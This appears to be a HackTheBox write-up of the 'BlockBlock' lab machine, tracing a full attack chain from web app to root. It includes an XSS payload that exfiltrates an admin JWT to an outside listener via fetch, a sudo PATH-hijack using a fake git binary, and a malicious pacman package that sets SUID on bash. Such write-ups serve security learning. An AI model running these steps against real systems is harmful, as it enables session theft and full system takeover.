HTB: BlockBlock Writeup

BlockBlock - HackTheBox Writeup

Machine Information

AttributeDetails
NameBlockBlock
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.231.122
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

BlockBlock hosts a decentralized chat app (“DBLC”) backed by an Ethereum-style blockchain exposed over JSON-RPC on port 8545. Web app’s “report user” feature feeds unsanitized usernames to admin bot — classic stored XSS, used to steal admin’s JWT via /api/info. Admin cookie unlocks /api/json-rpc auth token, letting attacker proxy raw JSON-RPC calls into chain. Enumerating early blocks and unhexing a contract-creation transaction’s input data leaks plaintext creds for user keira. From there, sudo misconfig lets keira run Foundry’s forge as paul — forge build shells out to git via relative PATH, so PATH hijack yields code exec as paul. paul in turn has NOPASSWD sudo on pacman; abusing its post_install() hook to SUID bash gives root.

TL;DR: Stored XSS in report-user feature → steal admin JWT → /api/json-rpc auth token → dump blockchain blocks → unhex contract-creation tx → keira:SomedayBitCoinWillCollapse → SSH → sudo forge build PATH hijack (git) → shell as paul → sudo pacman -U malicious package (post_install SUID bash) → root.


Reconnaissance

Port Scanning

Terminal window
# nmap against target from jump box
nmap -sC -sV -T4 -p- 10.129.231.122

Results:

PortServiceNotes
22SSHOpenSSH
80HTTPWerkzeug — “DBLC” decentralized chat app
8545HTTPEthereum JSON-RPC endpoint

Service Enumeration

Port 8545 answers Ethereum JSON-RPC calls. Unauthenticated eth_blockNumber works:

Terminal window
curl -s http://10.129.231.122:8545 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}'
# -> block number 12

Other RPC methods (e.g. eth_getBlockByNumber) return 401 — proxy requires a token. Chain has 12 blocks total, meaning at least one is a contract-creation transaction worth inspecting later.

Port 80 hosts a chat app. Registered account (dvz01) exposed:

  • /chat — messaging UI with a “Report User” button
  • /api/info — returns caller’s role + JWT
  • /api/report_user — forwards a supplied username to an admin-controlled bot for review

Vulnerability Assessment

  • Stored XSS in /api/report_user: submitted username rendered unsanitized in admin’s bot session.
  • Sensitive endpoint /api/info leaks the caller’s JWT — high-value XSS target since stealing admin’s session = stealing admin’s token.
  • JSON-RPC proxy gated by a separate token header, obtainable once authenticated as admin via /api/json-rpc (GET).

Initial Foothold

Exploitation Path

1. Confirm XSS via /api/report_user. Payload uses eval(atob(...)) to keep the report field short while running arbitrary JS in the admin bot’s browser:

// decoded payload logic — runs in admin's session when bot visits reported profile
(async () => {
const r = await fetch('/api/info'); // grabs admin role + JWT
const d = await r.json();
fetch('http://10.10.15.68:8000/?data=' + btoa(JSON.stringify(d))); // exfil to my listener
})();

Base64-encoded and wrapped:

<img src=1 onerror=eval(atob("...."))>

2. Stand up listener on jump box (tun0 = 10.10.15.68):

Terminal window
setsid python3 -m http.server 8000 --bind 0.0.0.0 >/tmp/xss.log 2>&1 < /dev/null &

3. Submit payload as the username via /api/report_user. Admin bot fires it; callback lands with base64 blob containing role: admin and a valid JWT.

Why this works: /api/info trusts the session cookie, not the caller’s identity beyond that — so any JS running in the admin’s browser context (via XSS) can read the admin’s own token and exfiltrate it cross-origin.

4. Use stolen admin JWT as cookie against GET /api/json-rpc → returns an authorization token (9aee52...c2706) required for POST /api/json-rpc.

5. Proxy JSON-RPC calls through the app using both the admin cookie and the token header:

Terminal window
curl -s -X POST http://10.129.231.122/api/json-rpc \
-H "token: 9aee52...c2706" \
-H "Cookie: token=<ADMIN_JWT>" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["latest",false],"id":0}'

Confirmed working — full blockchain access unlocked.

6. Enumerate blocks 0–11, pull tx hashes, dump tx details, unhex contract-creation input:

# enum.py (run on jump box against the proxy)
import json, subprocess, binascii
ATOK = "..." # authorization token
ADMIN_JWT = "..." # stolen admin cookie
for block in range(12):
# fetch block -> extract tx hashes
# fetch each tx -> pull 'input' field for contract-creation txs
# binascii.unhexlify the ASCII-looking tail of input to recover plaintext
...

One contract-creation transaction’s input field, once unhexed, revealed plaintext strings passed to the constructor (mirrors the pattern of a Database.sol-style contract taking username/password args): keira / SomedayBitCoinWillCollapse.

7. SSH in:

Terminal window
ssh keira@10.129.231.122
# password: SomedayBitCoinWillCollapse
id
# uid=1000(keira) gid=1000(keira) groups=1000(keira)
Terminal window
cat /home/keira/user.txt
# <redacted>

Privilege Escalation

keira → paul

/home/paul/.foundry/bin/forge
sudo -l

forge (Foundry’s build tool) is written in Rust and shells out to git internally to check submodule status — but calls it bare (git, not /usr/bin/git), relying on $PATH resolution. Since sudo here is scoped to run as paul (not root), and doesn’t reset PATH to a safe default in a way that blocks user-writable dirs, a directory prepended to PATH lets an attacker-controlled git execute as paul.

mkdir -p /tmp/x
cat > /tmp/x/git << 'EOF'
#!/bin/bash
# malicious git stub: runs as paul when forge shells out to it
{
# payload executed here, e.g. drop a script / trigger next stage
}
EOF
chmod +x /tmp/x/git
export PATH=/tmp/x:$PATH
sudo -u paul /home/paul/.foundry/bin/forge build

forge build invoked our fake git → code execution as paul.

paul → root

/usr/bin/pacman
sudo -l

Pacman is Arch’s package manager. sudo-able pacman = root code exec via a package’s post_install() hook, which pacman runs as root right after install.

Terminal window
# built inside the git-hijack payload, running as paul
mkdir -p /tmp/x/pkg/root
cd /tmp/x/pkg
tar -czf root.tar.gz root
cat > root.install << 'EOF'
post_install() {
chmod u+s /usr/bin/bash # SUID bash -> instant root shell via bash -p
}
EOF
cat > PKGBUILD << 'EOF'
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="priv esc"
arch=('x86_64')
url="https://example.com"
license=('GPL')
install=root.install
source=()
package() {
mkdir -p "$pkgdir/usr/bin"
}
EOF
makepkg --skipinteg
sudo pacman -U privesc-1.0-1-x86_64.pkg.tar.zst --noconfirm

Package installs, post_install() fires as root, sets SUID bit on /usr/bin/bash:

Terminal window
bash -p
id
# uid=1001(paul) euid=0(root) ...
Terminal window
cat /root/root.txt
# <redacted>

Cleanup performed: removed SUID bit from /usr/bin/bash and deleted temp files/packages under /tmp to restore box state.


Attack Chain Summary

Register user on DBLC chat app
→ Stored XSS in /api/report_user (admin bot renders unsanitized username)
→ Steal admin JWT via /api/info exfil to attacker listener
→ GET /api/json-rpc with admin cookie → obtain RPC authorization token
→ POST /api/json-rpc (token + admin cookie) → full blockchain access
→ Enumerate blocks 0-11, dump tx inputs
→ Unhex contract-creation tx input → keira:SomedayBitCoinWillCollapse
→ SSH as keira → user.txt
→ sudo -l: (paul) NOPASSWD forge build → PATH hijack of `git` → shell as paul
→ sudo -l: (ALL) NOPASSWD pacman → malicious pkg post_install() → SUID bash
→ bash -p → root.txt

Tools Used

ToolPurpose
nmapPort scanning
curlHTTP/JSON-RPC interaction, XSS payload delivery
python3 -m http.serverXSS exfil listener
Custom Python scriptBlock/tx enumeration over hijacked JSON-RPC proxy
binascii/hex decodeRecovering plaintext creds from tx input data
ssh / sshpassRemote access as keira
forge (Foundry)Sudo target abused for PATH hijack
pacman / makepkgMalicious package post_install() hook for root

Key Learnings

Techniques Practiced

  • Stored XSS exploitation against an admin-facing bot workflow
  • JWT/session token theft via authenticated fetch + exfil
  • Reverse-engineering an app’s blockchain JSON-RPC auth flow to build a working proxy
  • Enumerating and parsing Ethereum-style block/transaction data for leaked secrets
  • Hex-decoding contract-creation input fields to recover constructor arguments
  • Sudo PATH-hijack privilege escalation via a trusted binary shelling out to an unqualified command
  • Package-manager post_install() hook abuse for root via SUID

Lessons Learned

  1. Any endpoint that echoes user-controlled data into a privileged (admin) context needs strict output encoding — /api/report_user had none.
  2. Storing credentials as plaintext constructor arguments in a smart contract’s deployment bytecode is equivalent to storing them in cleartext — anyone with chain read access can recover them via hex decode.
  3. sudo rules granting execution of a specific binary don’t sanitize that binary’s own environment; if the binary trusts $PATH for subprocess calls (like forge → git), the sudo grant is really “run arbitrary code as target user.”
  4. Granting sudo pacman (or any package manager with install-time hooks) is equivalent to unrestricted root — hooks execute with the privileges of the invoking sudo call.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • dotguy, “BlockBlock” HackTheBox writeup (Machine Author: 0xOZ, 15 March 2025) — used for background on the Chat.sol/Database.sol contract structure, the post_install() pacman-abuse technique writeup link, and general explanation of why the Foundry RUST_LOG=trace trace exposes the bare git call. All IPs, tokens, and command output in this writeup are from the author’s own live solve session.